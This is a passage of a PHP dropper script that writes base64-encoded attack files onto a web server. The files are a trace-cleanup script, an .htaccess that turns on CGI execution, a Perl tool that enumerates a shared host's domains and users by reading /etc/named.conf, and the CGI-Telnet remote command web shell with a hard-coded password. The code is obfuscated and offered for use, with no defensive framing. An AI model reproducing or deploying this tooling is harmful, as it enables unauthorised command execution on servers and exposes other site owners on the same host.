tZT0iZm9ybV9hY3Rpb24iIHZhbHVlPSIzIj4KPGJyPgo8dGFibGUgYm9yZGVyPTE+Cjx0cj48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9InBhc3N3b3JkIiB2YWx1ZT0iIj48L3RkPjwvdHI+Cjx0cj48dGQ+Y2NfZW5jcnlwdGlvbl9oYXNoPC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIHNpemU9IjMwIiBuYW1lPSJjY19lbmNyeXB0aW9uX2hhc2giIHZhbHVlPSIiPjwvdGQ+PC90cj4KPC90YWJsZT4KPGJyPgo8SU5QVVQgY2xhc3M9c3VibWl0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgbmFtZT0iU3VibWl0Ij4KPC9GT1JNPgo8aHI+CjxjZW50ZXI+IDxmb250IGNvbG9yPSIjRkZGRjZGRiIgc2l6ZT0nKzEnPiAgIC0tLS0tLS0tLS0tLSAgICA8L2ZvbnQ+PGJyPjxicj4gPGNlbnRlcj4=');
$write = fwrite ($file ,$sa);
$dir = $dir_name."/";
$file = fopen("d.php" ,"w+");
$sa=base64_decode('PD8KJGZpbGVuYW1lID0gIncucGhwIjsKdW5saW5rKCRmaWxlbmFtZSk7IAokZHoyID0gIjExLnBocCI7CnVubGluaygkZHoyKTsgCiRkejJkID0gInNxbC5waHAiOwp1bmxpbmsoJGR6MmQpOyAKPz4K');
$write = fwrite ($file ,$sa);
$file = fopen($dir.".htaccess" ,"w+");
$sa=base64_decode('T3B0aW9ucyBhbGwKRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwKQWRkVHlwZSB0ZXh0L3BsYWluIC5w
aHAKQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAuc2EKQWRkSGFuZGxlciBzZXJ2ZXIt
cGFyc2VkIC5waHAKQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5zYQpBZGRIYW5kbGVyIGNnaS1zY3Jp
cHQgLnNh');
$write = fwrite ($file ,$sa);
$file = fopen($dir."user.sa" ,"w+");
$sa=base64_decode('IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOwpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KCjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+Cjx0aXRsZT5DMGRlZCBCeSBTSUxWRVIgRk9YPC90aXRsZT4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KLm5ld1N0eWxlMSB7CiBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOwogZm9udC1mYW1pbHk6ICJDb3VyaWVyIE5ldyIsIENvdXJpZXIsIG1vbm9zcGFjZTsKIGZvbnQtc2l6ZTogbGFyZ2U7CiBmb250LXdlaWdodDogYm9sZDsKIGNvbG9yOiAjRkZGRkZGOwp9Ci5zdHlsZTEgewogdGV4dC1hbGlnbjogY2VudGVyOwp9Cjwvc3R5bGU+CjwvaGVhZD4KCjxib2R5IGNsYXNzPSJuZXdTdHlsZTEiPgoKPHAgY2xhc3M9InN0eWxlMSI+RG9tYWlucyAmYW1wOyBVc2VycyA8L3A+CjxwIGNsYXNzPSJzdHlsZTEiPkJ5cGFzczwvcD4KPHAgY2xhc3M9InN0eWxlMSI+U0lMVkVSIEZPWCA8L3A+Cic7Cm9wZW4gKGQwbWFpbnMsICcvZXRjL25hbWVkLmNvbmYnKSBvciAkZXJyPTE7CkBrciA9IDxkMG1haW5zPjsKY2xvc2UgZDBtYWluczsKaWYgKCRlcnIpewpwcmludCAoJzxwIGNsYXNzPSJzdHlsZTEiPiZuYnNwOzwvcD48cCBjbGFzcz0ic3R5bGUxIj5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CmRpZSgpOwp9ZWxzZXsKcHJpbnQgJzxwIGNsYXNzPSJzdHlsZTEiPiZuYnNwOzwvcD4KPHAgY2xhc3M9InN0eWxlMSI+SDNyMyAhcyA0MTEgRDBtNCFucyAmYW1wOyBVczNycyA6PC9wPgonO30KZm9yZWFjaCBteSAkb25lIChAa3IpCnsKaWYoJG9uZSA9fiBtLy4qP3pvbmUgIiguKj8pIiB7Lyl7CiRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kMTsKJG93bmVyID0gZ2V0cHd1aWQoKHN0YXQoJGZpbGVuYW1lKSlbNF0pOwpwcmludCAnPHAgY2xhc3M9InN0eWxlMSI+Jy4kMS4nIDogJy4kb3duZXIuJzwvcD4KJzsKfQp9CnByaW50JzwvYm9keT48L2h0bWw+JzsK
');
$write = fwrite ($file ,$sa);
$file = fopen($dir."cgi.pl" ,"w+");
$sa=base64_decode('IyEvdXNyL2Jpbi9wZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb3B5cmlnaHQgYW5kIExp
Y2VuY2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENHSS1UZWxuZXQgVmVyc2lvbiAxLjAgZm9y
IE5UIGFuZCBVbml4IDogUnVuIENvbW1hbmRzIG9uIHlvdXIgV2ViIFNlcnZlcgojCiMgQ29weXJp
Z2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmEKIyBQZXJtaXNzaW9uIGlzIGdyYW50ZWQgdG8gdXNl
LCBkaXN0cmlidXRlIGFuZCBtb2RpZnkgdGhpcyBzY3JpcHQgc28gbG9uZwojIGFzIHRoaXMgY29w
eXJpZ2h0IG5vdGljZSBpcyBsZWZ0IGludGFjdC4gSWYgeW91IG1ha2UgY2hhbmdlcyB0byB0aGUg
c2NyaXB0CiMgcGxlYXNlIGRvY3VtZW50IHRoZW0gYW5kIGluZm9ybSBtZS4gSWYgeW91IHdvdWxk
IGxpa2UgYW55IGNoYW5nZXMgdG8gYmUgbWFkZQojIGluIHRoaXMgc2NyaXB0LCB5b3UgY2FuIGUt
bWFpbCBtZS4KIwojIEF1dGhvcjogUm9oaXRhYiBCYXRyYQojIEF1dGhvciBlLW1haWw6IHJvaGl0
YWJAcm9oaXRhYi5jb20KIyBBdXRob3IgSG9tZXBhZ2U6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20v
CiMgU2NyaXB0IEhvbWVwYWdlOiBtYWlsdG86VU5JVFhfVEVBTUBIT1RNQUlMLkNPTQojIFByb2R1
Y3QgU3VwcG9ydDogaHR0cDovL3d3dy5yb2hpdGFiLmNvbS9zdXBwb3J0LwojIERpc2N1c3Npb24g
Rm9ydW06IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vZGlzY3Vzcy8KIyBNYWlsaW5nIExpc3Q6IGh0
dHA6Ly93d3cucm9oaXRhYi5jb20vbWxpc3QvCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiMtLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0KIyBJbnN0YWxsYXRpb24KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoj
IFRvIGluc3RhbGwgdGhpcyBzY3JpcHQKIwojIDEuIE1vZGlmeSB0aGUgZmlyc3QgbGluZSAiIyEv
dXNyL2Jpbi9wZXJsIiB0byBwb2ludCB0byB0aGUgY29ycmVjdCBwYXRoIG9uCiMgICAgeW91ciBz
ZXJ2ZXIuIEZvciBtb3N0IHNlcnZlcnMsIHlvdSBtYXkgbm90IG5lZWQgdG8gbW9kaWZ5IHRoaXMu
CiMgMi4gQ2hhbmdlIHRoZSBwYXNzd29yZCBpbiB0aGUgQ29uZmlndXJhdGlvbiBzZWN0aW9uIGJl
bG93LgojIDMuIElmIHlvdSdyZSBydW5uaW5nIHRoZSBzY3JpcHQgdW5kZXIgV2luZG93cyBOVCwg
c2V0ICRXaW5OVCA9IDEgaW4gdGhlCiMgICAgQ29uZmlndXJhdGlvbiBTZWN0aW9uIGJlbG93Lgoj
IDQuIFVwbG9hZCB0aGUgc2NyaXB0IHRvIGEgZGlyZWN0b3J5IG9uIHlvdXIgc2VydmVyIHdoaWNo
IGhhcyBwZXJtaXNzaW9ucyB0bwojICAgIGV4ZWN1dGUgQ0dJIHNjcmlwdHMuIFRoaXMgaXMgdXN1
YWxseSBjZ2ktYmluLiBNYWtlIHN1cmUgdGhhdCB5b3UgdXBsb2FkCiMgICAgdGhlIHNjcmlwdCBp
biBBU0NJSSBtb2RlLgojIDUuIENoYW5nZSB0aGUgcGVybWlzc2lvbiAoQ0hNT0QpIG9mIHRoZSBz
Y3JpcHQgdG8gNzU1LgojIDYuIE9wZW4gdGhlIHNjcmlwdCBpbiB5b3VyIHdlYiBicm93c2VyLiBJ
ZiB5b3UgdXBsb2FkZWQgdGhlIHNjcmlwdCBpbgojICAgIGNnaS1iaW4sIHRoaXMgc2hvdWxkIGJl
IGh0dHA6Ly93d3cueW91cnNlcnZlci5jb20vY2dpLWJpbi9jZ2l0ZWxuZXQucGwKIyA3LiBMb2dp
biB1c2luZyB0aGUgcGFzc3dvcmQgdGhhdCB5b3Ugc3BlY2lmaWVkIGluIFN0ZXAgMi4KIy0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENvbmZpZ3VyYXRpb246
IFlvdSBuZWVkIHRvIGNoYW5nZSBvbmx5ICRQYXNzd29yZCBhbmQgJFdpbk5ULiBUaGUgb3RoZXIK
IyB2YWx1ZXMgc2hvdWxkIHdvcmsgZmluZSBmb3IgbW9zdCBzeXN0ZW1zLgojLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tCiRQYXNzd29yZCA9ICJkeiI7CQkjIENoYW5nZSB0aGlzLiBZb3Ugd2lsbCBuZWVk
IHRvIGVudGVyIHRoaXMKCQkJCSMgdG8gbG9naW4uCgokV2luTlQgPSAwOwkJCSMgWW91IG5lZWQg
dG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCSMgeW91J3JlIHJ1bm5pbmcg
dGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UCgkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5u
aW5nIGl0IG9uIFVuaXgsIHlvdQoJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoK
JE5UQ21kU2VwID0gIiYiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIg
Y29tbWFuZHMKCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21k
U2VwID0gIjsiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFu
ZHMKCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0
aW9uID0gMTAwOwkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxl
ZAoJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJ
CSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQKCQkJCSMgdGFrZSB2
ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4KCQkJCSMgVGhpcyBpcyB2YWxpZCBv
bmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMKCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLgoK
JFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2Vu
dCB0byB0aGUKCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNl
CgkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQKCQkJCSMgY29t
cGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQoJCQkJIyBwaW5nLCBzbyB0
aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVk
LgoKIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05P
VyBXSEFUIFlPVSdSRSBET0lORyAhIQoKJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAk
VW5peENtZFNlcCk7CiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsKJFBhdGhTZXAg
PSAoJFdpbk5UID8gIlxcIiA6ICIvIik7CiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAx
PiYyIiA6ICIgMT4mMSAyPiYxIik7CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmVhZHMgdGhl
IGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVz
LiBJdAojIHBhcnNlcyBHRVQsIFBPU1QgYW5kIG11bHRpcGFydC9mb3JtLWRhdGEgdGhhdCBpcyB1
c2VkIGZvciB1cGxvYWRpbmcgZmlsZXMuCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57
J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4KIyBPdGhlciB2
YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0
aGUgbmFtZSBvZgojIHRoZSB2YXJpYWJsZS4gTm90ZTogTW9zdCBvZiB0aGUgY29kZSBpbiB0aGlz
IGZ1bmN0aW9uIGlzIHRha2VuIGZyb20gb3RoZXIgQ0dJCiMgc2NyaXB0cy4KIy0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLQpzdWIgUmVhZFBhcnNlCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2Nh
bCAoJGksICRsb2MsICRrZXksICR2YWwpOwoKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NP
TlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoK
CWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVF
UllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikK
CXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVh
ZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxl
IHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3Jt
LWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFz
ZSByZWZlciB0byBSRkMxODY3CgkJQGxpc3QgPSBzcGxpdCgvJEJvdW5kYXJ5LywgJGluKTsKCQkk
SGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsK
CQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRo
ZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRC
b2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsKCQkkaW57J2YnfSA9ICQxOwoJ
CSRpbnsnZid9ID1+IHMvXCIvL2c7CgkJJGlueydmJ30gPX4gcy9ccy8vZzsKCgkJIyBwYXJzZSB0
cmFpbGVyCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykKCQl7CgkJCSRsaXN0WyRpXSA9fiBz
L14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsK
CQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQp
Ly9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtl
eX0gPSAkdmFsOwoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVk
LCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRp
ICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkg
PSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhl
eCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkk
aW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49
ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1M
IFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMg
c2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIK
ewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIg
PX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJcHJpbnQgIkNvbnRl
bnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8dGl0
bGU+VW5pdC1YIFRlYW08L3RpdGxlPgokSHRtbE1ldGFIZWFkZXIKPC9oZWFkPgo8Ym9keSBvbkxv
YWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzAwMDAwMCIgdG9wbWFyZ2luPSIw
IiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPHRhYmxl
IGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+
Cjx0cj4KPHRkIGJnY29sb3I9IiNDMkJGQTUiIGJvcmRlcmNvbG9yPSIjMDAwMDgwIiBhbGlnbj0i
Y2VudGVyIj4KPGI+PGZvbnQgY29sb3I9IiMwMDAwODAiIHNpemU9IjIiPiM8L2ZvbnQ+PC9iPjwv
dGQ+Cjx0ZCBiZ2NvbG9yPSIjMDAwMDgwIj48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIiBj
b2xvcj0iIzAwOTkwMCI+PGI+Q0dJLVRlbG5ldCBVbml0LXggVGVhbSBDb25uZWN0ZWQgdG8gJFNl
cnZlck5hbWU8L2I+PC9mb250PjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGJnY29s
b3I9IiNDMkJGQTUiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPgo8YSBocmVmPSIkU2Ny
aXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9h
PiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50
RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291
dCI+RGlzY29ubmVjdDwvYT4gfAo8YSBocmVmPSJVTklUWF9URUFNQEhPVE1BSUwuQ09NIj5IZWxw
PC9hPgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgY29sb3I9IiMwMDk5MDAiIHNp
emU9IjMiPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgTG9naW4g
U2NyZWVuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5TY3JlZW4KewoJJE1l
c3NhZ2UgPSBxJDxwcmU+PGZvbnQgY29sb3I9IiNmZjAwMDAiPiBfX19fXyAgX19fX18gIF9fX19f
ICAgICAgICAgIF9fX19fICAgICAgICBfICAgICAgICAgICAgICAgXwovICBfXyBcfCAgX18gXHxf
ICAgX3wgICAgICAgIHxfICAgX3wgICAgICB8IHwgICAgICAgICAgICAgfCB8CnwgLyAgXC98IHwg
IFwvICB8IHwgICBfX19fX18gICB8IHwgICAgX19fIHwgfCBfIF9fICAgIF9fXyB8IHxfCnwgfCAg
ICB8IHwgX18gICB8IHwgIHxfX19fX198ICB8IHwgICAvIF8gXHwgfHwgJ18gXCAgLyBfIFx8IF9f
fAp8IFxfXy9cfCB8X1wgXCBffCB8XyAgICAgICAgICAgfCB8ICB8ICBfXy98IHx8IHwgfCB8fCAg
X18vfCB8XwogXF9fX18vIFxfX19fLyBcX19fLyAgICAgICAgICAgXF8vICAgXF9fX3x8X3x8X3wg
fF98IFxfX198IFxfX3wgMS4wCgo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAg
ICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4
MzAwIj6pIDIwMDMsIFVuaXQtWCBUZWFtPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4KICAg
ICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4KICAgICAgICAgICAgICAgICAg
LyAgIFVOSVQtWCAgIFwKICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICB8CiAgICAgICAg
ICAgICAgICAgfCwgIC4tLiAgLi0uICAsfAogICAgICAgICAgICAgICAgIHwgKShfby8gIFxvXyko
IHwKICAgICAgICAgICAgICAgICB8LyAgICAgL1wgICAgIFx8CiAgICAgICAoQF8gICAgICAgKF8g
ICAgIF5eICAgICBfKQogIF8gICAgICkgXDwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+X19f
X19fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+XDwvZm9udD48Zm9udCBjb2xvcj0iIzAw
OTkwMCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnwqRVZJTCp8PC9mb250Pjxmb250
IGNvbG9yPSIjMDA5OTAwIj5fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+LzwvZm9udD48
Zm9udCBjb2xvcj0iIzAwOTkwMCI+X19fX19fX19fX19fX19fX19fX19fX18KPC9mb250Pjxmb250
IGNvbG9yPSIjRkYwMDAwIj4gKF8pPC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIj5AOEA4PC9m
b250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj57fTwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+
Jmx0O19fX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58LVxNQVNURVIvLXw8L2Zv
bnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPl9fX19fX19fX19fX19fX19fX19fX19fXyZndDs8L2Zv
bnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPgogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAv
CiAgICAgICAoQCAgICAgICAgICAgYC0tLS0tLS0tYAogICAgICAgICAgICAgPC9mb250Pjxmb250
IGNvbG9yPSIjQUU4MzAwIj5XIEEgUiBOIEkgTiBHOiBQcml2YXRlIFNlcnZlcjwvZm9udD48L3By
ZT4KJDsKIycKCXByaW50IDw8RU5EOwo8Y29kZT4KVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyPgpD
b25uZWN0ZWQgdG8gJFNlcnZlck5hbWU8YnI+CkVzY2FwZSBjaGFyYWN0ZXIgaXMgXl0KPGNvZGU+
JE1lc3NhZ2UKRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIG1lc3Nh
Z2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luCiMtLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlCnsKCXByaW50IDw8RU5EOwo8Y29k
ZT4KPGJyPmxvZ2luOiBhZG1pbjxicj4KcGFzc3dvcmQ6PGJyPgpMb2dpbiBpbmNvcnJlY3Q8YnI+
PGJyPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBI
VE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRM
b2dpbkZvcm0KewoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBP
